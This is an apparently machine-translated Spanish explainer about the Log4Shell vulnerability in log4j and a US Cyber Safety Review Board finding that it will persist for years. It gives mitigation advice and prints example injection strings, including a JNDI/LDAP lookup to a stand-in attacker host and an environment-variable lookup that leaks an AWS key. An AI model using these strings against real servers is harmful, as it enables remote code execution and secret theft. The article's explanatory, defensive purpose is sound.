8 meses después, EE. UU. dice que Log4Shell estará disponible durante "una década o más"

Recuerde Log4Shell?

Era un error peligroso en un popular conjunto de herramientas de programación Java de código abierto llamado log4j, abreviatura de "Logging for Java", publicado por Apache Software Foundation bajo una licencia de código fuente liberal y gratuita.

Si alguna vez ha escrito software de cualquier tipo, desde el archivo BAT más simple en una computadora portátil con Windows hasta la megaaplicación más retorcida que se ejecuta en un rack completo de servidores, habrá utilizado comandos de registro.

A partir de resultados básicos como echo "Starting calculations (this may take a while)" impreso en la pantalla, hasta mensajes formales guardados en una base de datos de una sola escritura por razones de auditoría o cumplimiento, el registro es una parte vital de la mayoría de los programas, especialmente cuando algo se rompe y necesita un registro claro de exactamente qué tan lejos llegó antes golpeó el problema.

El Log4Shell vulnerabilidad (en realidad, resultó que había varios problemas relacionados, pero los trataremos a todos como si fueran un gran problema aquí, para simplificar) resultó ser mitad error, mitad función.

En otras palabras, Log4j hizo lo que decía en el manual, a diferencia de un error como un desbordamiento de búfer, donde el programa infractor intenta incorrectamente jugar con los datos que prometió dejar en paz...

… pero a menos que haya leído el manual con mucha atención y haya tomado precauciones adicionales al agregar una capa de verificación de entrada cuidadosa sobre Log4j, su software podría fallar.

Realmente, mal, totalmente despegado.

Interpolación considerada dañina

En pocas palabras, Log4j no siempre registraba los mensajes de registro exactamente como los proporcionabas.

En cambio, tenía una "característica" conocida de forma diversa y confusa en la jerga como interpolación, sustitución de comando or reescritura automática, para que pueda activar funciones de manipulación de texto dentro de la propia utilidad de registro, sin tener que escribir un código especial propio para hacerlo.

Por ejemplo, el texto en la columna INPUT a continuación se registraría literalmente, exactamente como lo ve, que es probablemente lo que esperaría de un conjunto de herramientas de registro, especialmente si desea mantener un registro preciso de los datos de entrada que presentaron sus usuarios. por razones reglamentarias:

ENTRADA RESULTADO ----------------------- ------------------------ NOMBRE DE USUARIO = pato -> NOMBRE DE USUARIO = pato Identificador de llamadas: 555-555-5555 -> Identificador de llamadas: 555-555-5555 Versión actual = 17.0.1 -> Versión actual = 17.0.1

Pero si envió texto envuelto en la secuencia de caracteres mágicos ${...}, el registrador a veces hacía cosas inteligentes con él, después de recibir el texto pero antes de escribirlo en el archivo de registro, como este:

ENTRADA RESULTADO ---------------------------------- -------------- -------------------------------------------- ACTUAL=${java:versión}/${java:os} -> ACTUAL=Versión de Java 17.0.1/Windows 10 10.0 La cuenta del servidor es: ${env:USUARIO} -> La cuenta del servidor es: raíz ${env:AWS_ACCESS_KEY_ID} -> DATOSSECRETOSTENDENDEDTOBEINMEMORYONE

Claramente, si está aceptando texto de registro de una fuente confiable, donde es razonable permitir que el loggee controle el registrador diciéndole que reemplace el texto sin formato con datos internos, este tipo de reescritura de texto es útil.

Pero si su objetivo es realizar un seguimiento de los datos enviados por un usuario remoto, tal vez con fines normativos de mantenimiento de registros, este tipo de reescritura automática es doblemente peligroso:

• En caso de disputa, no tiene un registro confiable de lo que el usuario realmente envió, dado que podría haber sido modificado entre la entrada y la salida.
• Un usuario malintencionado podría enviar entradas construidas furtivamente para provocar que su servidor haga algo que no se suponía que debía hacer.

Si está registrando las entradas de los usuarios, como la cadena de identificación de su navegador, digamos (conocido en la jerga como el User-Agent), o su nombre de usuario o número de teléfono, no desea darle al usuario la oportunidad de engañarlo para que escriba datos privados (como una cadena de contraseña de solo memoria como AWS_ACCESS_KEY_ID en el ejemplo anterior) en un archivo de registro permanente.

Especialmente si les ha dicho con confianza a sus auditores o al regulador que nunca escribe contraseñas de texto sin formato en un almacenamiento permanente. (Tú no debería hacer esto, ¡incluso si no le ha dicho oficialmente al regulador que no lo hace!)

peor por venir

Sin embargo, en el caso de Log4Shell es-es-un-error-o-es-una-característica, las cosas fueron mucho peores que los ejemplos ya riesgosos que mostramos anteriormente.

Por ejemplo, un usuario que envió deliberadamente datos como los que se muestran a continuación podría desencadenar una secuencia de eventos realmente peligrosa:

ENTRADA RESULTADO ------------------------------------------------ ---------------------------------------- ${jndi:ldap://dodgy. server.example:8888/BadThing} -> ¡Descargar y ejecutar un programa Java remoto!?

En la cadena de "interpolación" anterior, el ${...} secuencia de caracteres que incluye las abreviaturas jndi y ldap le dijo a Log4j que hiciera esto:

• Utilice la interfaz de nombres y directorios de Java (JNDI) , para localizar dodgy.server.example en línea.
• Conéctese a ese servidor a través de LDAP, utilizando el puerto TCP 8888.
• Solicita los datos almacenado en el objeto LDAP BadThing.

En otras palabras, los atacantes podrían enviar entradas especialmente diseñadas que indicarían a su servidor que "llame a casa". a un servidor bajo su control, sin siquiera pedir permiso.

¿Cómo podría ser esto una "característica"?

Quizás se pregunte cómo una "característica" como esta llegó al código Log4j.

Pero este tipo de reescritura de texto puede ser útil, siempre que registre datos de una fuente confiable.

Por ejemplo, podría registrar un ID de usuario numérico, pero también pedirle al registrador que use LDAP (el protocolo ligero de acceso a directorios, ampliamente utilizado en la industria, incluso por el sistema Active Directory de Microsoft) para recuperar y guardar el nombre de usuario asociado con ese número de cuenta en ese momento.

Esto mejoraría tanto la legibilidad como el valor histórico de la entrada en el archivo de registro.

Pero es poco probable que el servidor LDAP que Log4j mencionó en el ejemplo anterior (que fue elegido por el usuario remoto, no lo olvide) sepa la verdad, y mucho menos que la diga, y un usuario malintencionado podría usar este truco. sus registros con datos falsos e incluso legalmente dudosos.

Peor aún, el servidor LDAP podría devolver código Java precompilado para generar los datos que se registrarán, y su servidor ejecutaría debidamente ese programa: un programa desconocido, proporcionado por un servidor que no es de confianza, elegido por un usuario que no es de confianza.

En términos generales, si algún servidor, en cualquier lugar de su red, registró una entrada no confiable que había llegado desde el exterior y usó Log4j para hacerlo...

… entonces esa entrada podría usarse como una forma directa e inmediata de engañar a su servidor para que ejecute el código de otra persona, así como así.

Eso se llama ICE en la jerga, abreviatura de ejecución remota de código, y los errores RCE son generalmente los más buscados por los ciberdelincuentes porque, por lo general, pueden explotarse para implantar malware automáticamente.

Desafortunadamente, la naturaleza de este error significaba que el peligro no se limitaba a los servidores conectados a Internet, por lo que usar servidores web escritos en C, no en Java (por ejemplo, IIS, Apache https, nginx) y, por lo tanto, no usaron el buggy. El código Log4j no lo liberó del riesgo.

En teoría, cualquier aplicación Java de back-end que recibiera y registrara datos de cualquier otro lugar de su red, y que usara la biblioteca Log4j...

…podría ser potencialmente alcanzado y explotado por atacantes externos.

La solución fue bastante sencilla:

• Buscar versiones antiguas de Log4j en cualquier lugar y en todas partes en su red. Los módulos de Java suelen tener nombres como log4j-api-2.14.0.jar y log4j-core-2.14.0.jar, Donde jar es la abreviatura de Archivo Java, un tipo de archivo ZIP especialmente estructurado. Con un prefijo de búsqueda, una extensión definitiva y el número de versión incrustado en el nombre del archivo, encontrar rápidamente archivos ofensivos con versiones "incorrectas" del código de la biblioteca Java es bastante fácil.
• Reemplazar las versiones con errores con los más nuevos, parcheados.
• Si no estaba en condiciones de cambiar la versión de Log4J, podría reducir o eliminar el riesgo eliminando un solo módulo de código del paquete Log4j con errores (el código Java que manejó las búsquedas JNDI, como se describió anteriormente) y volviendo a empaquetar su propio archivo JAR reducido con el error suprimido.

La saga continúa

Desafortunadamente, un reciente, un reporte detallado sobre la saga Log4Shell, publicada la semana pasada por EE.UU. Junta de Revisión de Ciberseguridad (CSRB), parte del Departamento de Seguridad Nacional, contiene la sugerencia preocupante (nuestro énfasis a continuación) de que:

[E]l evento Log4j no ha terminado. La [CSRB] evalúa que Log4j es una "vulnerabilidad endémica" y que las instancias vulnerables de Log4j permanecerán en los sistemas durante muchos años. tal vez una década o más. Persiste un riesgo significativo.

¿Qué hacer?

Con 42 páginas (el resumen ejecutivo por sí solo tiene casi tres páginas), el informe de la junta es un documento largo, y algunas partes son pesadas.

Pero le recomendamos que lo lea, porque es una historia fascinante de cómo incluso los problemas de seguridad cibernética que deberían ser rápidos y fáciles de solucionar pueden ser ignorados, o pospuestos para más tarde, o tan bien como negados por completo como "los problemas de otra persona". problema” para arreglar.

Las sugerencias notables del servicio público de EE. UU., que respaldamos de todo corazón, incluyen:

• Desarrollar la capacidad para mantener un inventario preciso de aplicaciones y activos de tecnología de la información (TI).
• [Configurar un] documentado programa de respuesta a vulnerabilidades.
• [Establecer un] proceso documentado de divulgación y manejo de vulnerabilidades.

Cuando se trata de ciberseguridad, no pregunte qué pueden hacer los demás por usted...

…pero piensa en lo que puedes hacer por ti mismo, porque cualquier mejora que hagas seguramente beneficiar a todos los demás .

---

[Contenido incrustado]

---